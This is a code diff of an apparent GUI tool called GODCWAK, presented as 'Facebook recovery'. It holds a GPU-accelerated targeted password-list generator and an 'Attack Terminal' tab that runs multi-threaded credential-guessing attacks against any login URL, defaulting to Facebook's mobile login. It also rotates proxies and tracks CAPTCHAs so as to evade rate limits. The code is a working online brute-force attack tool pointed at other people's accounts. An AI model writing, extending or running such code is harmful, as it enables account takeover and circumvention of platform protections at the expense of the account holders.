if sub == "cuda_runtime" and not cuda_path_candidate:
cuda_path_candidate = sub_path
break # first matching site-packages is enough
# Extend PATH with all DLL directories
if extra_dirs:
current_path = os.environ.get("PATH", "")
new_dirs = [d for d in extra_dirs if d not in current_path]
if new_dirs:
os.environ["PATH"] = os.pathsep.join(new_dirs) + os.pathsep + current_path
# Set CUDA_PATH only if not already set and we found cuda_runtime
if cuda_path_candidate and "CUDA_PATH" not in os.environ:
os.environ["CUDA_PATH"] = cuda_path_candidate
except Exception:
pass
_inject_nvidia_paths()
try:
import numpy as np
HAS_NUMPY = True
except ImportError:
HAS_NUMPY = False
np = None # type: ignore
# ── CUDA / CuPy detection ────────────────────────────────────────────────────
# CuPy 14 removed cp.char; we use integer-index Cartesian products on the GPU
# and then apply those indices with NumPy for the actual string lookups.
# This avoids any need for GPU string kernels while still getting a large
# speedup on the index-generation step (most of the work at scale).
try:
import warnings
with warnings.catch_warnings():
warnings.simplefilter("ignore")
import cupy as cp
# Smoke-test: run a trivial kernel to confirm nvrtc / the compiler works
_smoke = cp.array([1, 2, 3], dtype=cp.float32) + 1.0
cp.asnumpy(_smoke) # force synchronisation
_dev = cp.cuda.runtime.getDeviceProperties(0)
_GPU_NAME = (
_dev["name"].decode() if isinstance(_dev["name"], bytes) else _dev["name"]
)
_GPU_VRAM_GB = _dev["totalGlobalMem"] / (1024 ** 3)
HAS_CUPY = True
logger.info(f"CuPy GPU ready: {_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM)")
except Exception as exc:
HAS_CUPY = False
_GPU_NAME = "N/A"
_GPU_VRAM_GB = 0.0
logger.warning(f"CuPy GPU unavailable ({exc}); using NumPy/CPU path")
_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789")
def get_gpu_info() -> str:
if HAS_CUPY:
return f"{_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM) [CuPy GPU]"
if HAS_NUMPY:
return "No CUDA GPU — NumPy CPU acceleration"
return "No CUDA GPU — pure Python mode"
def is_gpu_available() -> bool:
return HAS_CUPY
# ── Combination generation ────────────────────────────────────────────────────
def gpu_generate_combinations(
prefixes: List[str],
suffixes: List[str],
symbols: Optional[List[str]] = None,
) -> List[str]:
total = len(prefixes) * len(suffixes) * (len(symbols) if symbols else 1)
if HAS_CUPY and total > GPU_THRESHOLD:
return _cupy_combinations(prefixes, suffixes, symbols)
if HAS_NUMPY:
return _numpy_combinations(prefixes, suffixes, symbols)
return _python_combinations(prefixes, suffixes, symbols)
def _cupy_combinations(
prefixes: List[str],
suffixes: List[str],
symbols: Optional[List[str]] = None,
) -> List[str]:
"""
Generate all Cartesian-product combinations using CuPy for the index math.
Strategy (CuPy 14 compatible — no cp.char):
1. Build integer index grids on the GPU (fast meshgrid).
2. Transfer flat index arrays back to CPU (small int arrays, cheap).
3. Use NumPy fancy-indexing on string arrays for the lookup.
This keeps string data on CPU (where Python/NumPy handles it natively)
while the expensive index explosion runs on the GPU.
"""
try:
np_pre = np.array(prefixes)
np_suf = np.array(suffixes)
n_p = len(prefixes)
n_s = len(suffixes)
if symbols:
np_sym = np.array(symbols)
n_sym = len(symbols)
pi = cp.arange(n_p, dtype=cp.int32)
si = cp.arange(n_s, dtype=cp.int32)
symi = cp.arange(n_sym, dtype=cp.int32)
pg, symg, sg = cp.meshgrid(pi, symi, si, indexing="ij")
p_idx = cp.asnumpy(pg.ravel())
sym_idx = cp.asnumpy(symg.ravel())
s_idx = cp.asnumpy(sg.ravel())
return (np_pre[p_idx] + np_sym[sym_idx] + np_suf[s_idx]).tolist()
else:
pi = cp.arange(n_p, dtype=cp.int32)
si = cp.arange(n_s, dtype=cp.int32)
pg, sg = cp.meshgrid(pi, si, indexing="ij")
p_idx = cp.asnumpy(pg.ravel())
s_idx = cp.asnumpy(sg.ravel())
return (np_pre[p_idx] + np_suf[s_idx]).tolist()
except Exception as e:
logger.error(f"CuPy GPU combination path failed ({e}), falling back")
if HAS_NUMPY:
return _numpy_combinations(prefixes, suffixes, symbols)
return _python_combinations(prefixes, suffixes, symbols)
def _numpy_combinations(
prefixes: List[str],
suffixes: List[str],
symbols: Optional[List[str]] = None,
) -> List[str]:
try:
p = np.array(prefixes, dtype=object)
s = np.array(suffixes, dtype=object)
if symbols:
sym = np.array(symbols, dtype=object)
p3, sym3, s3 = np.meshgrid(p, sym, s, indexing="ij")
ps = np.char.add(p3.ravel(), sym3.ravel())
return np.char.add(ps, s3.ravel()).tolist()
p_grid, s_grid = np.meshgrid(p, s, indexing="ij")
return np.char.add(p_grid.ravel(), s_grid.ravel()).tolist()
except Exception as e:
logger.warning(f"NumPy combination path failed ({e}), using pure Python")
return _python_combinations(prefixes, suffixes, symbols)
def _python_combinations(
prefixes: List[str],
suffixes: List[str],
symbols: Optional[List[str]] = None,
) -> List[str]:
if symbols:
return [f"{p}{sym}{s}" for p in prefixes for sym in symbols for s in suffixes]
return [f"{p}{s}" for p in prefixes for s in suffixes]
# ── Leet-speak transform ───────────────────────────────────────────────────────
def _leet_pair(words: List[str]) -> List[str]:
seen: set = set()
result: List[str] = []
for w in words:
if w not in seen:
seen.add(w)
result.append(w)
leet = w.translate(_LEET_TABLE)
if leet not in seen:
seen.add(leet)
result.append(leet)
return result
def gpu_leet_transform(words: List[str]) -> List[str]:
if len(words) < 5_000 or not HAS_NUMPY:
return _leet_pair(words)
try:
arr = np.array(words, dtype=object)
leet_fn = np.frompyfunc(lambda s: s.translate(_LEET_TABLE), 1, 1)
leet = leet_fn(arr)
combined = np.unique(np.concatenate([arr, leet]))
return combined.tolist()
except Exception:
return _leet_pair(words)
# ── Utility transforms ────────────────────────────────────────────────────────
def gpu_batch_deduplicate(strings: List[str]) -> List[str]:
seen: set = set()
out: List[str] = []
for s in strings:
if s not in seen:
seen.add(s)
out.append(s)
return out
def gpu_batch_length_filter(
strings: List[str], min_len: int, max_len: int
) -> List[str]:
if len(strings) < 10_000 or not HAS_NUMPY:
return [s for s in strings if min_len <= len(s) <= max_len]
try:
arr = np.array(strings, dtype=object)
lengths = np.vectorize(len)(arr)
mask = (lengths >= min_len) & (lengths <= max_len)
return arr[mask].tolist()
except Exception:
return [s for s in strings if min_len <= len(s) <= max_len]

View File

@@ -0,0 +1,310 @@
"""
Crush-style password generator.
Takes user-defined fragments, rules, and patterns to produce targeted password candidates.
"""
import itertools
import logging
import re
from dataclasses import dataclass, field
from typing import List, Optional, Set
from src.engine.combinatorics import (
apply_required_chars_filter,
generate_number_suffixes,
generate_year_range,
estimate_combinations,
)
from src.engine.gpu_accelerator import (
gpu_generate_combinations,
gpu_leet_transform as _gpu_leet,
gpu_batch_length_filter,
is_gpu_available,
get_gpu_info,
)
from config import GPU_THRESHOLD
logger = logging.getLogger(__name__)
@dataclass
class GenerationConfig:
"""Configuration for password generation."""
# Known fragments (substrings the user remembers)
fragments: List[str] = field(default_factory=list)
# Custom words the user provides
custom_words: List[str] = field(default_factory=list)
# Number options
append_numbers: bool = False
prepend_numbers: bool = False
number_range_start: int = 0
number_range_end: int = 9999
use_years: bool = False
year_start: int = 1990
year_end: int = 2030
sequential_numbers: bool = False
# Symbol options
append_symbols: bool = False
prepend_symbols: bool = False
symbols_between: bool = False
custom_symbols: str = "!@#$%^&*"
# Capitalization options
first_letter_caps: bool = False
all_caps: bool = False
camel_case: bool = False
toggle_case: bool = False
# Transform options
leet_speak: bool = False
# Pattern templates
patterns: List[str] = field(default_factory=lambda: [
"{word}{num}",
"{word}{sym}{num}",
"{num}{word}",
"{sym}{word}{num}",
"{word}{num}{sym}",
"{num}{sym}{word}",
])
# Length constraints
min_length: int = 6
max_length: int = 32
# Character requirements
require_upper: bool = False
require_lower: bool = False
require_digit: bool = False
require_symbol: bool = False
# Custom pattern string (overrides patterns list if set)
custom_pattern: str = ""
class PasswordGenerator:
"""Crush-style password generator with GPU acceleration."""
def __init__(self):
self.gpu_available = is_gpu_available()
self.gpu_info = get_gpu_info() if self.gpu_available else "CPU only"
logger.info(f"PasswordGenerator initialized. GPU: {self.gpu_info}")
def generate(self, config: GenerationConfig) -> List[str]:
"""
Main generation method. Produces all password candidates based on config.
"""
# Build the base word list
words = self._build_word_list(config)
if not words:
logger.warning("No words/fragments provided for generation")
return []
logger.info(f"Base word list: {len(words)} words")
# Apply capitalization variants
words = self._apply_capitalization(words, config)
logger.info(f"After capitalization: {len(words)} words")
# Apply leet speak (GPU-accelerated when available)
if config.leet_speak:
words = _gpu_leet(words)
logger.info(f"After leet speak: {len(words)} words")
# Build number and symbol lists — only when the respective flags are on
numbers = self._build_number_list(config)
use_symbols = (
config.append_symbols or config.prepend_symbols or config.symbols_between
)
symbols = list(config.custom_symbols) if (config.custom_symbols and use_symbols) else []
# Generate combinations based on patterns
passwords = self._apply_patterns(words, numbers, symbols, config)
logger.info(f"After pattern application: {len(passwords)} candidates")
# Apply length filter (GPU-accelerated for large lists)
passwords = gpu_batch_length_filter(passwords, config.min_length, config.max_length)
logger.info(f"After length filter ({config.min_length}-{config.max_length}): {len(passwords)}")
passwords = apply_required_chars_filter(
passwords,
require_upper=config.require_upper,
require_lower=config.require_lower,
require_digit=config.require_digit,
require_symbol=config.require_symbol,
symbols=config.custom_symbols,
)
logger.info(f"After char requirements: {len(passwords)}")
# Deduplicate while preserving order
seen: Set[str] = set()
unique = []
for p in passwords:
if p not in seen:
seen.add(p)
unique.append(p)
logger.info(f"Final unique candidates: {len(unique)}")
return unique
def _build_word_list(self, config: GenerationConfig) -> List[str]:
"""Build the base word list from fragments and custom words."""
words = []
# Add fragments
for f in config.fragments:
f = f.strip()
if f:
words.append(f)
# Add custom words
for w in config.custom_words:
w = w.strip()
if w:
words.append(w)
return words
def _apply_capitalization(self, words: List[str], config: GenerationConfig) -> List[str]:
"""Apply capitalization rules."""
if not any([config.first_letter_caps, config.all_caps,
config.camel_case, config.toggle_case]):
return words
variants = set()
for w in words:
variants.add(w) # Original
if config.first_letter_caps:
variants.add(w.capitalize())
if config.all_caps:
variants.add(w.upper())
if config.camel_case:
# For single words, capitalize is the same as first_letter_caps
variants.add(w.capitalize())
if config.toggle_case:
variants.add("".join(
c.upper() if i % 2 == 0 else c.lower()
for i, c in enumerate(w)
))
return list(variants)
def _build_number_list(self, config: GenerationConfig) -> List[str]:
"""Build the number list based on config."""
numbers = set()
if config.append_numbers or config.prepend_numbers:
nums = generate_number_suffixes(config.number_range_start, config.number_range_end)
numbers.update(nums)
if config.use_years:
years = generate_year_range(config.year_start, config.year_end)
numbers.update(years)
if config.sequential_numbers:
numbers.update(["123", "234", "345", "456", "567", "678", "789"])
return list(numbers)
def _apply_patterns(
self,
words: List[str],
numbers: List[str],
symbols: List[str],
config: GenerationConfig,
) -> List[str]:
"""Apply pattern templates to generate combinations."""
# Always include bare words — they are valid candidates on their own
passwords = set(words)
# Determine which patterns to use
if config.custom_pattern:
patterns = [config.custom_pattern]
else:
patterns = config.patterns
# Nothing to combine with — bare words only
if not numbers and not symbols:
return list(passwords)
for pattern in patterns:
# Parse the pattern and generate
parts = re.split(r"(\{word\}|\{num\}|\{sym\})", pattern)
parts = [p for p in parts if p] # Remove empty strings
# Build the lists for each part
lists_for_product = []
for part in parts:
if part == "{word}":
lists_for_product.append(words)
elif part == "{num}":
lists_for_product.append(numbers)
elif part == "{sym}":
lists_for_product.append(symbols)
else:
# Literal text
lists_for_product.append([part])
if not lists_for_product:
continue
# Generate combinations
# Use GPU if the set is large enough
total_est = 1
for lst in lists_for_product:
total_est *= len(lst)
if total_est > GPU_THRESHOLD and self.gpu_available:
logger.info(f"Using GPU for {total_est} combinations (pattern: {pattern})")
if len(lists_for_product) == 2:
gpu_result = gpu_generate_combinations(
lists_for_product[0], lists_for_product[1]
)
passwords.update(gpu_result)
elif len(lists_for_product) == 3:
if parts[1] == "{sym}":
gpu_result = gpu_generate_combinations(
lists_for_product[0],
lists_for_product[2],
lists_for_product[1],
)
passwords.update(gpu_result)
else:
for combo in itertools.product(*lists_for_product):
passwords.add("".join(combo))
else:
# 4+ part patterns: fall back to CPU itertools
for combo in itertools.product(*lists_for_product):
passwords.add("".join(combo))
else:
# CPU path
for combo in itertools.product(*lists_for_product):
passwords.add("".join(combo))
return list(passwords)
def estimate(self, config: GenerationConfig) -> int:
"""Estimate how many passwords will be generated."""
words = self._build_word_list(config)
if not words:
return 0
word_count = len(words)
# Caps variants produce at most ~2x unique words
if config.first_letter_caps or config.all_caps or config.camel_case or config.toggle_case:
word_count = int(word_count * 2)
# Leet produces roughly 2x additional variants
if config.leet_speak:
word_count = int(word_count * 3)
# Use actual helper output sizes for accuracy
num_count = len(self._build_number_list(config))
use_symbols = config.append_symbols or config.prepend_symbols or config.symbols_between
sym_count = len(config.custom_symbols) if (config.custom_symbols and use_symbols) else 0
patterns = [config.custom_pattern] if config.custom_pattern else config.patterns
# Base count always includes the bare words themselves
combo_estimate = estimate_combinations(word_count, num_count, sym_count, patterns)
return word_count + combo_estimate

0
src/gui/__init__.py Normal file
View File

252
src/gui/app.py Normal file
View File

@@ -0,0 +1,252 @@
"""
Main application window — ties all tabs together with the cyberpunk theme.
"""
import logging
from datetime import datetime
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.gui.password_builder_tab import PasswordBuilderTab
from src.gui.proxy_manager_tab import ProxyManagerTab
from src.gui.attack_tab import AttackTab
from src.gui.logs_tab import LogsTab
from src.gui.setup_tab import SetupTab
from src.proxy.pool import ProxyPool
from src.utils.logger import AttemptLogger
from config import ASSETS_DIR, PASSWORDS_FILE
from src.utils.file_io import count_lines
logger = logging.getLogger(__name__)
class FacebookRecoveryApp(ctk.CTk):
"""Main application window."""
def __init__(self):
super().__init__()
CyberpunkTheme.apply()
# Shared state
self.proxy_pool = ProxyPool()
self.attempt_logger = AttemptLogger()
# Window
self.title("GODCWAK v1.0")
self.geometry("1300x820")
self.minsize(1080, 720)
self.configure(fg_color=CyberpunkTheme.BG_DARK)
try:
icon_path = ASSETS_DIR / "icon.ico"
if icon_path.exists():
from PIL import Image, ImageTk
icon = Image.open(str(icon_path))
self._icon_photo = ImageTk.PhotoImage(icon)
self.iconphoto(True, self._icon_photo)
except Exception:
pass
self._build_header()
self._build_tabs()
self._build_status_bar() # must be last (packs to bottom)
self._tick_clock()
self._periodic_update()
# ── Header ──────────────────────────────────────────────────────────────
def _build_header(self):
outer = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK)
outer.pack(fill="x")
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, height=2).pack(fill="x")
inner = ctk.CTkFrame(outer, fg_color="transparent")
inner.pack(fill="x", padx=20, pady=(8, 8))
logo = ctk.CTkLabel(
inner,
text=(
"▓░ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗ █████╗ ██╗ ██╗\n"
"▓░ ██╔════╝ ██╔═══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔╝\n"
"▓░ ██║ ███╗██║ ██║██║ ██║██║ ██║ █╗ ██║███████║█████╔╝ \n"
"▓░ ██║ ██║██║ ██║██║ ██║██║ ██║███╗██║██╔══██║██╔═██╗ \n"
"▓░ ╚██████╔╝╚██████╔╝██████╔╝╚██████╗╚███╔███╔╝██║ ██║██║ ██╗\n"
"▓░ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝"
),
font=("Consolas", 9),
text_color=CyberpunkTheme.PRIMARY,
justify="left",
)
logo.pack(side="left")
badge_col = ctk.CTkFrame(inner, fg_color="transparent")
badge_col.pack(side="right", padx=(0, 5))
ctk.CTkLabel(badge_col, text="GODCWAK",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED",
font=("Consolas", 10),
text_color=CyberpunkTheme.TERTIARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(anchor="e")
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x")
# ── Tabs ─────────────────────────────────────────────────────────────────
def _build_tabs(self):
self.tab_view = ctk.CTkTabview(
self,
fg_color=CyberpunkTheme.BG_MEDIUM,
border_width=1,
border_color=CyberpunkTheme.BORDER,
corner_radius=6,
)
self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0))
tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"]
for name in tab_names:
self.tab_view.add(name)
sc = self.set_status # shared status callback
self.password_builder_tab = PasswordBuilderTab(
self.tab_view.tab("Password Builder"),
status_callback=sc)
self.password_builder_tab.pack(fill="both", expand=True)
self.proxy_manager_tab = ProxyManagerTab(
self.tab_view.tab("Proxy Manager"),
self.proxy_pool,
status_callback=sc)
self.proxy_manager_tab.pack(fill="both", expand=True)
self.attack_tab = AttackTab(
self.tab_view.tab("Attack"),
self.proxy_pool,
status_callback=sc,
attempt_logger=self.attempt_logger)
self.attack_tab.pack(fill="both", expand=True)
self.logs_tab = LogsTab(
self.tab_view.tab("Logs"),
self.attempt_logger)
self.logs_tab.pack(fill="both", expand=True)
self.setup_tab = SetupTab(self.tab_view.tab("Setup"))
self.setup_tab.pack(fill="both", expand=True)
# ── Status bar ───────────────────────────────────────────────────────────
def _build_status_bar(self):
"""
Rich multi-field status bar:
● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK
"""
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32)
bar.pack(side="bottom", fill="x")
bar.pack_propagate(False)
ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top")
# Left: blinking dot + status message
left = ctk.CTkFrame(bar, fg_color="transparent")
left.pack(side="left", fill="y", padx=(6, 0))
self._status_dot = ctk.CTkLabel(
left, text="", font=("Consolas", 11),
text_color=CyberpunkTheme.PRIMARY)
self._status_dot.pack(side="left", padx=(0, 4))
self.status_label = ctk.CTkLabel(
left, text="GODCWAK READY",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY)
self.status_label.pack(side="left")
# Right: wordlist count | proxy count | separator | clock
right = ctk.CTkFrame(bar, fg_color="transparent")
right.pack(side="right", fill="y", padx=(0, 10))
self.clock_label = ctk.CTkLabel(
right, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.clock_label.pack(side="right", padx=(10, 0))
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=8)
self.sb_proxies = ctk.CTkLabel(
right, text="PROXIES: 0",
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
self.sb_proxies.pack(side="right", padx=(4, 0))
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=8)
self.sb_wordlist = ctk.CTkLabel(
right, text="WORDLIST: 0",
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
self.sb_wordlist.pack(side="right", padx=(4, 0))
self._blink_dot()
def _blink_dot(self):
try:
cur = self._status_dot.cget("text_color")
nxt = (CyberpunkTheme.TEXT_DIM
if cur == CyberpunkTheme.PRIMARY
else CyberpunkTheme.PRIMARY)
self._status_dot.configure(text_color=nxt)
except Exception:
pass
self.after(900, self._blink_dot)
def _tick_clock(self):
try:
self.clock_label.configure(
text=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
except Exception:
pass
self.after(1000, self._tick_clock)
def set_status(self, message: str):
"""Update the main status bar message (callable from any tab)."""
try:
self.status_label.configure(text=message[:120])
except Exception:
pass
# ── Periodic updates ─────────────────────────────────────────────────────
def _periodic_update(self):
try:
wl_count = count_lines(PASSWORDS_FILE)
self.sb_wordlist.configure(
text=f"WORDLIST: {wl_count:,}",
text_color=(CyberpunkTheme.SUCCESS
if wl_count > 0
else CyberpunkTheme.TEXT_DIM))
except Exception:
pass
try:
px_count = self.proxy_pool.available_count
self.sb_proxies.configure(
text=f"PROXIES: {px_count}",
text_color=(CyberpunkTheme.PRIMARY
if px_count > 0
else CyberpunkTheme.TEXT_DIM))
except Exception:
pass
try:
self.proxy_manager_tab._update_stats()
except Exception:
pass
self.after(3000, self._periodic_update)

490
src/gui/attack_tab.py Normal file
View File

@@ -0,0 +1,490 @@
"""
Attack Terminal Tab — multi-proxy credential attack against any login URL.
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
"""
import logging
import threading
from datetime import datetime
from typing import Callable, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
from src.attack.login_client import SiteConfig
from src.proxy.pool import ProxyPool
from src.utils.file_io import load_passwords, count_lines
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
logger = logging.getLogger(__name__)
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
class AttackTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool,
status_callback: Optional[Callable] = None,
attempt_logger=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.status_callback = status_callback
self.orchestrator = AttackOrchestrator(
proxy_pool, logger_instance=attempt_logger)
self._build_ui()
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
# ── Build ──────────────────────────────────────────────────────────────────
def _build_ui(self):
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
ctk.CTkLabel(self,
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
self._build_target_bar()
self._build_speed_panel()
self._build_stats_panel()
self._build_progress_bar()
self._build_control_buttons()
self._build_live_log()
self._update_periodic()
# ── Target bar (URL + username + counters) ────────────────────────────────
def _build_target_bar(self):
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bar.pack(fill="x", padx=15, pady=(0, 8))
# Row 1 — target URL
row1 = ctk.CTkFrame(bar, fg_color="transparent")
row1.pack(fill="x", padx=12, pady=(10, 4))
ctk.CTkLabel(row1, text="Target URL:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=100, anchor="w").pack(side="left")
self.url_entry = ctk.CTkEntry(
row1, placeholder_text=_FB_LOGIN_URL,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
width=480)
self.url_entry.insert(0, _FB_LOGIN_URL)
self.url_entry.pack(side="left", padx=(0, 12))
CyberpunkTheme.apply_focus_glow(self.url_entry)
ctk.CTkLabel(row1, text="Form fields user:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_user_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="email",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_user_entry.insert(0, "email")
self.field_user_entry.pack(side="left", padx=(0, 8))
ctk.CTkLabel(row1, text="pass:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_pass_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="pass",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_pass_entry.insert(0, "pass")
self.field_pass_entry.pack(side="left")
# Row 2 — username/email + counters
row2 = ctk.CTkFrame(bar, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 10))
ctk.CTkLabel(row2, text="Username / Email:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=140, anchor="w").pack(side="left")
self.email_entry = ctk.CTkEntry(
row2, placeholder_text="target@example.com",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
self.email_entry.pack(side="left", padx=(0, 20))
CyberpunkTheme.apply_focus_glow(self.email_entry)
self.pwd_count_label = ctk.CTkLabel(
row2, text="Wordlist: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.pwd_count_label.pack(side="left", padx=(0, 18))
self.proxy_count_label = ctk.CTkLabel(
row2, text="Proxies: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.proxy_count_label.pack(side="left", padx=(0, 18))
self.captcha_label = ctk.CTkLabel(
row2, text="CAPTCHAs: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.captcha_label.pack(side="left")
# ── Speed panel ───────────────────────────────────────────────────────────
def _build_speed_panel(self):
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
panel.pack(fill="x", padx=15, pady=(0, 8))
hdr = ctk.CTkFrame(panel, fg_color="transparent")
hdr.pack(fill="x", padx=12, pady=(8, 4))
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
font=("Consolas", 11, "bold"),
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
inner = ctk.CTkFrame(panel, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=(0, 10))
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=160, anchor="w").pack(side="left")
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
variable=var, width=170,
fg_color=CyberpunkTheme.BG_MEDIUM,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
button_hover_color=CyberpunkTheme.SECONDARY)
sl.pack(side="left", padx=(0, 6))
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY, width=48)
val_lbl.configure(text=f"{int(default)}{unit}")
val_lbl.pack(side="left", padx=(0, 24))
sl.configure(command=lambda v, l=val_lbl, u=unit:
l.configure(text=f"{int(float(v))}{u}"))
return sl
row1 = ctk.CTkFrame(inner, fg_color="transparent")
row1.pack(fill="x", pady=(0, 6))
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
_slider_group(row1, "Workers (threads):", self.workers_var,
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
1, 20, 19, PROXY_ROTATION_EVERY, "req")
row2 = ctk.CTkFrame(inner, fg_color="transparent")
row2.pack(fill="x")
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
_slider_group(row2, "Delay min (s):", self.delay_min_var,
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
_slider_group(row2, "Delay max (s):", self.delay_max_var,
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=90, anchor="w").pack(side="left")
self.timeout_entry = ctk.CTkEntry(
row2, width=64,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
self.timeout_entry.pack(side="left")
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
# ── Stats panel ───────────────────────────────────────────────────────────
def _build_stats_panel(self):
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
stats.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(stats, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
def _stat(text, color):
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
text_color=color)
l.pack(side="left", padx=(0, 22))
return l
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
row2 = ctk.CTkFrame(stats, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 6))
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
